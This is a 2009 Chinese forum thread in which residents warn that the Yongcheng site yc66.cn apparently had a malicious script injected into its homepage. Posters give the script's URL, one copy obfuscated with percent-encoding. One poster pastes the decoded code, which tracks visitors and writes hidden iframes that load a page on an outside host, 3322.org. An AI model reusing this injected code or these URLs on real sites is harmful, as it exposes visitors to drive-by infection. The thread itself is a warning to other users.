刚才永城政府网疑似被挂木马

火中精灵

现在已经清理，
持续了至少半小时（发现）
可能更久。

在YC66首页源码内的最后一行看到加载以下文件

1. http://www.cuaa.net/member/member/file/ruxin.js

复制代码

（请勿点击）
现在已经清理掉了

今天大家访问请小心

王新强

确实被挂马. 呵呵.


http://www.cuaa.n%65t/m%65mb%65r/m%65mb%65r/fil%65/ruxin.js

请不要点击.

金天地

发现了

人城永

点击了 没啥反应

yc5152519

现在打不开啊？

yc5152519

现在打不开！

火中精灵

1. function y_gVal(iz)
   
2. {var endstr=document.cookie.indexOf(";",iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);}
   
3. function y_g(name)
   
4. {var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(i<clen) {j=i+alen;if(document.cookie.substring(i,j)==arg) return y_gVal(j);i=document.cookie.indexOf(" ",i)+1;if(i==0) break;}return null;}
   
5. function cc_k()
   
6. {var y_e=new Date();var y_t=93312000;var yesvisitor=1000*36000;var yesctime=y_e.getTime();y_e.setTime(y_e.getTime()+y_t);var yesiz=document.cookie.indexOf("cck_lasttime");if(yesiz==-1){document.cookie="cck_lasttime="+yesctime+"; expires=" + y_e.toGMTString() +  "; path=/";document.cookie="cck_count=0; expires=" + y_e.toGMTString() +  "; path=/";return 0;}else{var y_c1=y_g("cck_lasttime");var y_c2=y_g("cck_count");y_c1=parseInt(y_c1);y_c2=parseInt(y_c2);y_c3=yesctime-y_c1;if(y_c3>yesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+"; path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}}
   
7. 
   
8. 
   
9. var seraph;
   
10. if (seraph==null)
    
11. {
    
12. seraph=1;
    
13. 
    
14. var yesdata;
    
15. yesdata='&refe='+escape(document.referrer)+'&location='+escape(document.location)+'&color='+screen.colorDepth+'x&resolution='+screen.width+'x'+screen.height+'&returning='+cc_k()+'&language='+navigator.systemLanguage+'&ua='+escape(navigator.userAgent);
    
16. document.write('<iframe MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no src=http://count2.51yes.com/sa.aspx?id=21387182'+yesdata+' height=0 width=0></iframe>');
    
17. document.write("<iframe src=http://sd10s.3322.org/jj/4.htm width=100 height=0></iframe>");
    
18. 
    
19. }

复制代码

火中精灵

解析的这个JS文件

火中精灵

点击了 没啥反应
人城永 发表于 2009-9-14 21:06

不能直接下载的，要网页加载。
或者用火狐直接打开看文本

xinkuan26

yc66.cn  这个叫政府网   我晕死   你看看那个政府网的后缀是cn。cn域名1块钱一个，用一年。